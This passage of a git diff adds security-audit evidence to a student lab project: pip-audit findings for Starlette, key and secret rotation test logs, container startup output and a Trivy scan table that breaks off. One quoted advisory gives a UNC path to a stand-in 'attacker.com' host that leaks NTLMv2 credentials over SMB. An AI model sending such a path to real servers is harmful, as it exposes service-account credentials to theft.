via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header."}, {"id": "PYSEC-2026-1941", "fix_versions": ["0.47.2"], "aliases": ["GHSA-2c2j-9gv5-cj73", "CVE-2025-54121"], "description": "### Summary When parsing a multi-part form with large files (greater than the [default max spool size](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/formparsers.py#L126)) `starlette` will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections. ### Details Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from [here](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/datastructures.py#L436C5-L447C14)) has a minor bug. Instead of just checking for `self._in_memory` we should also check if the additional bytes will cause a rollover. ```python @property def _in_memory(self) -> bool: # check for SpooledTemporaryFile._rolled rolled_to_disk = getattr(self.file, \"_rolled\", True) return not rolled_to_disk async def write(self, data: bytes) -> None: if self.size is not None: self.size += len(data) if self._in_memory: self.file.write(data) else: await run_in_threadpool(self.file.write, data) ``` I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962 ### PoC See the discussion [here](https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403) for steps on how to reproduce. ### Impact To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down `starlette` that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact."}, {"id": "PYSEC-2026-2281", "fix_versions": ["1.1.0"], "aliases": ["GHSA-wqp7-x3pw-xc5r", "CVE-2026-48818"], "description": "Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and earlier, StaticFiles on Windows is vulnerable to SSRF. An UNC path such as \\\\attacker.com\\share can cause os.path.realpath to initiate an outbound SMB connection before the path is rejected, exposing the service account\u2019s NTLMv2 credentials for offline cracking or relay even though the HTTP response is only a 404. The issue affects default follow_symlink=False deployments, including frameworks built on Starlette such as FastAPI; POSIX systems and follow_symlink=True are unaffected. The issue is fixed in 1.1.0."}, {"id": "PYSEC-2026-2280", "fix_versions": ["1.1.0"], "aliases": ["CVE-2026-48817", "GHSA-x746-7m8f-x49c"], "description": "Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and below, when dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs. When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. An application (including Starlette-based frameworks like FastAPI) is affected if it registers an HTTPEndpoint subclass via Route(...) without explicitly setting methods=, and that subclass includes extra methods named like non-standard HTTP verbs that take one request argument and return a response. This issue has been fixed in version 1.1.0."}]}, {"name": "typing-inspection", "version": "0.4.4", "vulns": []}, {"name": "typing-extensions", "version": "4.16.0", "vulns": []}, {"name": "urllib3", "version": "2.8.0", "vulns": []}, {"name": "uvicorn", "version": "0.34.2", "vulns": []}, {"name": "zipp", "version": "4.1.2", "vulns": []}], "fixes": []} diff --git a/evidence/pip-audit.stderr.txt b/evidence/pip-audit.stderr.txt new file mode 100644 index 0000000..9519fcd --- /dev/null +++ b/evidence/pip-audit.stderr.txt @@ -0,0 +1,3 @@ +WARNING:pip_audit._cli:--no-deps is supported, but users are encouraged to fully hash their pinned dependencies +WARNING:pip_audit._cli:Consider using a tool like `pip-compile`: https://pip-tools.readthedocs.io/en/latest/#using-hashes +Found 91 known vulnerabilities in 3 packages diff --git a/evidence/pip-check.txt b/evidence/pip-check.txt new file mode 100644 index 0000000..c688d8c --- /dev/null +++ b/evidence/pip-check.txt @@ -0,0 +1 @@ +No broken requirements found. diff --git a/evidence/public-security.txt b/evidence/public-security.txt new file mode 100644 index 0000000..4723b8f --- /dev/null +++ b/evidence/public-security.txt @@ -0,0 +1,2 @@ +python3 tests/security.py --base-url "https://localhost:8443" --ca-file "/home/kitsune/visotka/mtusi2026lab7/secrets/authority/ca.crt" +PASS: trusted HTTPS works; untrusted CA rejected. This does NOT verify internal mTLS, OpenBao or hardening. diff --git a/evidence/rotation-collector.txt b/evidence/rotation-collector.txt new file mode 100644 index 0000000..8a26a76 --- /dev/null +++ b/evidence/rotation-collector.txt @@ -0,0 +1,21 @@ +PASS active Collector exporter leaf accepted by Loki and Tempo +Local PKI updated: rotate-collector + Container mtusi2026lab7-otel-1 Stopping + Container mtusi2026lab7-logs-1 Stopping + Container mtusi2026lab7-traces-1 Stopping + Container mtusi2026lab7-otel-1 Stopped + Container mtusi2026lab7-traces-1 Stopped + Container mtusi2026lab7-logs-1 Stopped + Container mtusi2026lab7-tempo-1 Restarting + Container mtusi2026lab7-loki-1 Restarting + Container mtusi2026lab7-tempo-1 Started + Container mtusi2026lab7-loki-1 Started + Container mtusi2026lab7-otel-1 Starting + Container mtusi2026lab7-logs-1 Starting + Container mtusi2026lab7-traces-1 Starting + Container mtusi2026lab7-traces-1 Started + Container mtusi2026lab7-otel-1 Started + Container mtusi2026lab7-logs-1 Started +PASS previous Collector leaf denied by Loki and Tempo +PASS replacement Collector leaf accepted by Loki and Tempo +PASS Collector exporter leaf rotated without rebuild {"recovery_seconds": 7.716} diff --git a/evidence/rotation-db.txt b/evidence/rotation-db.txt new file mode 100644 index 0000000..8f0ac47 --- /dev/null +++ b/evidence/rotation-db.txt @@ -0,0 +1,11 @@ + Container mtusi2026lab7-api-1 Recreate + Container mtusi2026lab7-api-2 Recreate + Container mtusi2026lab7-api-1 Recreated + Container mtusi2026lab7-api-2 Recreated + Container mtusi2026lab7-api-2 Starting + Container mtusi2026lab7-api-2 Started + Container mtusi2026lab7-api-1 Starting + Container mtusi2026lab7-api-1 Started +PASS old API DB password rejected on fresh TLS connection +Ready aliases: 70adf3c5defb4ad29c7cc78733eb1dc8, 909b66867d03439ba0d2ce940a1d1b98 +PASS new API DB password works with same image {"recovery_seconds": 8.784} diff --git a/evidence/rotation-leaf.txt b/evidence/rotation-leaf.txt new file mode 100644 index 0000000..d174727 --- /dev/null +++ b/evidence/rotation-leaf.txt @@ -0,0 +1,10 @@ +Local PKI updated: rotate-lb + Container mtusi2026lab7-lb-1 Restarting + Container mtusi2026lab7-lb-1 Started +PASS rotation tests both API addresses +PASS API 1 rejects previous same-SAN leaf on new TLS connection +PASS API 1 permits replacement leaf on new TLS connection +PASS API 2 rejects previous same-SAN leaf on new TLS connection +PASS API 2 permits replacement leaf on new TLS connection +Ready aliases: 00a7eeff6af9418f9a5cbcf50b674c32, 71c0903b2a0d4d1c903335cf27b5db29 +PASS leaf revoked on both APIs without rebuild {"recovery_seconds": 5.452} diff --git a/evidence/rotation-s3.txt b/evidence/rotation-s3.txt new file mode 100644 index 0000000..af75177 --- /dev/null +++ b/evidence/rotation-s3.txt @@ -0,0 +1,12 @@ +Private bucket and scoped accounts ready + Container mtusi2026lab7-api-1 Recreate + Container mtusi2026lab7-api-2 Recreate + Container mtusi2026lab7-api-2 Recreated + Container mtusi2026lab7-api-1 Recreated + Container mtusi2026lab7-api-2 Starting + Container mtusi2026lab7-api-2 Started + Container mtusi2026lab7-api-1 Starting + Container mtusi2026lab7-api-1 Started +PASS old S3 secret rejected on fresh TLS connection +Ready aliases: 0c96530db2b24f17bcc173db11a49862, 0d6c322007df4f4ba4056851c851fd0a +PASS new scoped S3 secret accepted with same image {"recovery_seconds": 10.136} diff --git a/evidence/smoke.txt b/evidence/smoke.txt new file mode 100644 index 0000000..182b363 --- /dev/null +++ b/evidence/smoke.txt @@ -0,0 +1,2 @@ +python3 tests/smoke.py --base-url "https://localhost:8443" --ca-file "/home/kitsune/visotka/mtusi2026lab7/secrets/authority/ca.crt" +PASS: lab7 public API scenario; infrastructure and grading evidence remain separate. diff --git a/evidence/source-audit.txt b/evidence/source-audit.txt new file mode 100644 index 0000000..4a14211 --- /dev/null +++ b/evidence/source-audit.txt @@ -0,0 +1,9 @@ +PASS unchanged assignment, normative contracts and public tests +PASS lab7 HEAD equals original local origin/main snapshot +PASS lab6 clean, 182 baseline hashes matched +PASS operator files and runtime keys ignored, initial OpenBao root file absent +PASS all deliverable documents and local evidence links +PASS literal credentials and private key audit over 175 repository files +PASS 14 persistence processes restarted, named volumes preserved +PASS two different API containers actually stopped in failover trials +Ready aliases: 2500ea7154e2452eb508c52c26810959, 96ffa9ae12b04645971df0ccb6e9c60c diff --git a/evidence/start-infra.txt b/evidence/start-infra.txt new file mode 100644 index 0000000..cb3da4a --- /dev/null +++ b/evidence/start-infra.txt @@ -0,0 +1,113 @@ +#0 building with "default" instance using docker driver + +#1 [s3 internal] load build definition from s3.Dockerfile +#1 transferring dockerfile: 922B done +#1 DONE 0.0s + +#2 [s3] resolve image config for docker-image://docker.io/docker/dockerfile:1.7.0 +#2 DONE 1.0s + +#3 [s3] docker-image://docker.io/docker/dockerfile:1.7.0@sha256:dbbd5e059e8a07ff7ea6233b213b36aa516b4c53c645f1817a4dd18b83cbea56 +#3 CACHED + +#4 [s3 internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#4 DONE 1.2s + +#5 [s3 internal] load .dockerignore +#5 transferring context: 196B done +#5 DONE 0.0s + +#6 [s3 1/3] FROM docker.io/library/python:3.12.10-slim-bookworm@sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +#6 DONE 0.0s + +#7 [s3 internal] load build context +#7 transferring context: 201B 0.0s done +#7 DONE 0.0s + +#8 [s3 2/3] RUN python - <<'PY' +#8 CACHED + +#9 [s3 3/3] COPY infra/minio-entrypoint.sh /entrypoint.sh +#9 DONE 0.0s + +#10 [s3] exporting to image +#10 exporting layers 0.0s done +#10 writing image sha256:1adbdb1513d964b99f9c57b0f8ef1c5704671a941199d39d5abb38e1c8d5ee04 done +#10 naming to docker.io/library/mtusi2026lab7-minio:2025-04-22 done +#10 DONE 0.1s + Network mtusi2026lab7_default Creating + Network mtusi2026lab7_default Created + Volume "mtusi2026lab7_loki_data" Creating + Volume "mtusi2026lab7_loki_data" Created + Volume "mtusi2026lab7_collector_data" Creating + Volume "mtusi2026lab7_collector_data" Created + Volume "mtusi2026lab7_broker_data" Creating + Volume "mtusi2026lab7_broker_data" Created + Volume "mtusi2026lab7_prometheus_data" Creating + Volume "mtusi2026lab7_prometheus_data" Created + Volume "mtusi2026lab7_s3_data" Creating + Volume "mtusi2026lab7_s3_data" Created + Volume "mtusi2026lab7_bao_data" Creating + Volume "mtusi2026lab7_bao_data" Created + Volume "mtusi2026lab7_grafana_data" Creating + Volume "mtusi2026lab7_grafana_data" Created + Volume "mtusi2026lab7_tempo_data" Creating + Volume "mtusi2026lab7_tempo_data" Created + Volume "mtusi2026lab7_postgres_data" Creating + Volume "mtusi2026lab7_postgres_data" Created + Container mtusi2026lab7-loki-1 Creating + Container mtusi2026lab7-tempo-1 Creating + Container mtusi2026lab7-grafana-1 Creating + Container mtusi2026lab7-s3-1 Creating + Container mtusi2026lab7-db-1 Creating + Container mtusi2026lab7-broker-1 Creating + Container mtusi2026lab7-collector-1 Creating + Container mtusi2026lab7-prometheus-1 Creating + Container mtusi2026lab7-openbao-1 Creating + Container mtusi2026lab7-prometheus-1 Created + Container mtusi2026lab7-metrics-1 Creating + Container mtusi2026lab7-loki-1 Created + Container mtusi2026lab7-logs-1 Creating + Container mtusi2026lab7-tempo-1 Created + Container mtusi2026lab7-traces-1 Creating + Container mtusi2026lab7-broker-1 Created + Container mtusi2026lab7-streams-1 Creating + Container mtusi2026lab7-s3-1 Created + Container mtusi2026lab7-collector-1 Created + Container mtusi2026lab7-otel-1 Creating + Container mtusi2026lab7-openbao-1 Created + Container mtusi2026lab7-grafana-1 Created + Container mtusi2026lab7-db-1 Created + Container mtusi2026lab7-metrics-1 Created + Container mtusi2026lab7-logs-1 Created + Container mtusi2026lab7-traces-1 Created + Container mtusi2026lab7-otel-1 Created + Container mtusi2026lab7-streams-1 Created + Container mtusi2026lab7-tempo-1 Starting + Container mtusi2026lab7-grafana-1 Starting + Container mtusi2026lab7-s3-1 Starting + Container mtusi2026lab7-openbao-1 Starting + Container mtusi2026lab7-db-1 Starting + Container mtusi2026lab7-collector-1 Starting + Container mtusi2026lab7-loki-1 Starting + Container mtusi2026lab7-broker-1 Starting + Container mtusi2026lab7-prometheus-1 Starting + Container mtusi2026lab7-prometheus-1 Started + Container mtusi2026lab7-metrics-1 Starting + Container mtusi2026lab7-metrics-1 Started + Container mtusi2026lab7-broker-1 Started + Container mtusi2026lab7-streams-1 Starting + Container mtusi2026lab7-loki-1 Started + Container mtusi2026lab7-logs-1 Starting + Container mtusi2026lab7-s3-1 Started + Container mtusi2026lab7-collector-1 Started + Container mtusi2026lab7-otel-1 Starting + Container mtusi2026lab7-streams-1 Started + Container mtusi2026lab7-db-1 Started + Container mtusi2026lab7-otel-1 Started + Container mtusi2026lab7-logs-1 Started + Container mtusi2026lab7-tempo-1 Started + Container mtusi2026lab7-traces-1 Starting + Container mtusi2026lab7-openbao-1 Started + Container mtusi2026lab7-grafana-1 Started + Container mtusi2026lab7-traces-1 Started diff --git a/evidence/telemetry-audit.txt b/evidence/telemetry-audit.txt new file mode 100644 index 0000000..0cc3884 --- /dev/null +++ b/evidence/telemetry-audit.txt @@ -0,0 +1,20 @@ +PASS upload HTTP request ID and ready worker event share one Loki trace ID +PASS Tempo trace joins HTTP, producer, consumer, S3 and DB +PASS Loki and Tempo contain none of the synthetic sensitive values +PASS metric app_http_requests_total +PASS metric app_http_duration_seconds_bucket +PASS metric jobs_processed_total +PASS metric attachment_ready_seconds_bucket +PASS metric queue_depth +PASS metric queue_oldest_age_seconds +PASS metric worker_capacity +PASS metric db_pool_used +PASS metric process_memory_bytes +PASS metric otelcol_receiver_accepted_spans_total +PASS no synthetic sensitive values in Compose logs +PASS Grafana anonymous datasource list denied +PASS Grafana HTTPS/mTLS proxy prometheus +PASS Grafana HTTPS/mTLS proxy loki +PASS Grafana HTTPS/mTLS proxy tempo +PASS provisioned Lab7 Grafana dashboard 16 panels +upload_trace_id 0f11230df6f87b0dc80323e7b204a68c diff --git a/evidence/trivy-app.txt b/evidence/trivy-app.txt new file mode 100644 index 0000000..3b2402f --- /dev/null +++ b/evidence/trivy-app.txt @@ -0,0 +1,839 @@ + +Report Summary + +┌──────────────────────────────────────────────────────────────────────────────────┬────────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ /scan/image.tar (debian 12.11) │ debian │ 152 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/annotated_doc-0.0.6.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/annotated_types-0.8.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/anyio-4.16.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/argon2_cffi-23.1.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/argon2_cffi_bindings-26.1.0.dist-info/ME- │ python-pkg │ 0 │ +│ TADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/boto3-1.40.18.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/botocore-1.40.76.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/certifi-2026.10.23.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/cffi-2.0.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/charset_normalizer-3.5.2.dist-info/METAD- │ python-pkg │ 0 │ +│ ATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/click-8.5.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/fastapi-0.162.4.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/googleapis_common_protos-1.76.0.dist-inf- │ python-pkg │ 0 │ +│ o/METADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/h11-0.16.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/idna-3.20.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/importlib_metadata-8.7.1.dist-info/METAD- │ python-pkg │ 0 │ +│ ATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/jmespath-1.1.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_api-1.45.2.dist-info/METAD- │ python-pkg │ 0 │ +│ ATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_exporter_http_transport-0.- │ python-pkg │ 0 │ +│ 66b2.dist-info/METADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_exporter_otlp_common-0.66b- │ python-pkg │ 0 │ +│ 2.dist-info/METADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_exporter_otlp_proto_common- │ python-pkg │ 0 │ +│ -1.45.2.dist-info/METADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_exporter_otlp_proto_http-1- │ python-pkg │ 0 │ +│ .45.2.dist-info/METADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_proto-1.45.2.dist-info/MET- │ python-pkg │ 0 │ +│ ADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_sdk-1.45.2.dist-info/METAD- │ python-pkg │ 0 │ +│ ATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/opentelemetry_semantic_conventions-0.66b- │ python-pkg │ 0 │ +│ 2.dist-info/METADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/pillow-12.3.0.dist-info/METADATA │ python-pkg │ 28 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/pip-25.0.1.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/protobuf-7.36.2.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/psycopg-3.2.9.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/psycopg_binary-3.2.9.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/psycopg_pool-3.3.3.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/pycparser-3.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/pydantic-2.14.3.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/pydantic_core-2.50.4.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/python_dateutil-2.9.0.post0.dist-info/ME- │ python-pkg │ 0 │ +│ TADATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/redis-5.2.1.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/requests-2.34.2.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/s3transfer-0.13.1.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/six-1.17.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/starlette-1.7.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/typing_extensions-4.16.0.dist-info/METAD- │ python-pkg │ 0 │ +│ ATA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/typing_inspection-0.4.5.dist-info/METADA- │ python-pkg │ 0 │ +│ TA │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/urllib3-2.8.0.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/uvicorn-0.34.2.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/zipp-4.1.2.dist-info/METADATA │ python-pkg │ 0 │ +└──────────────────────────────────────────────────────────────────────────────────┴────────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +/scan/image.tar (debian 12.11) +============================== +Total: 152 (HIGH: 143, CRITICAL: 9) + +┌────────────────────┬─────────────────┬──────────┬──────────────┬────────────────────┬────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ apt │ CVE-2026-109518 │ HIGH │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ bsdutils │ CVE-2026-53613 │ │ affected │ 1:2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gpgv │ CVE-2025-68973 │ │ fixed │ 2.2.40-1.1 │ 2.2.40-1.1+deb12u2 │ GnuPG: GnuPG: Information disclosure and potential arbitrary │ +│ │ │ │ │ │ │ code execution via out-of-bounds write... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68973 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gzip │ CVE-2026-41992 │ │ fix_deferred │ 1.12-1 │ │ gzip: gzip: Information disclosure via global buffer │ +│ │ │ │ │ │ │ overflow in LZH decompression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41992 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libacl1 │ CVE-2026-54369 │ │ │ 2.3.1-3 │ │ acl: Symlink traversal privilege escalation via libacl │ +│ │ │ │ │ │ │ functions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-54369 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libapt-pkg6.0 │ CVE-2026-109518 │ │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libblkid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libcap2 │ CVE-2026-4878 │ │ fixed │ 1:2.66-4+deb12u1 │ 1:2.66-4+deb12u3 │ libcap: libcap: Privilege escalation via TOCTOU race │ +│ │ │ │ │ │ │ condition in cap_set_file() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-4878 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgnutls30 │ CVE-2026-33845 │ CRITICAL │ │ 3.7.9-2+deb12u4 │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via DTLS zero-length │ +│ │ │ │ │ │ │ fragment │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33845 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42010 │ │ │ │ │ gnutls: gnutls: Authentication Bypass via NUL Character in │ +│ │ │ │ │ │ │ Username │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42010 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-32988 │ HIGH │ │ │ 3.7.9-2+deb12u5 │ gnutls: Vulnerability in GnuTLS otherName SAN export │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-32988 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-32990 │ │ │ 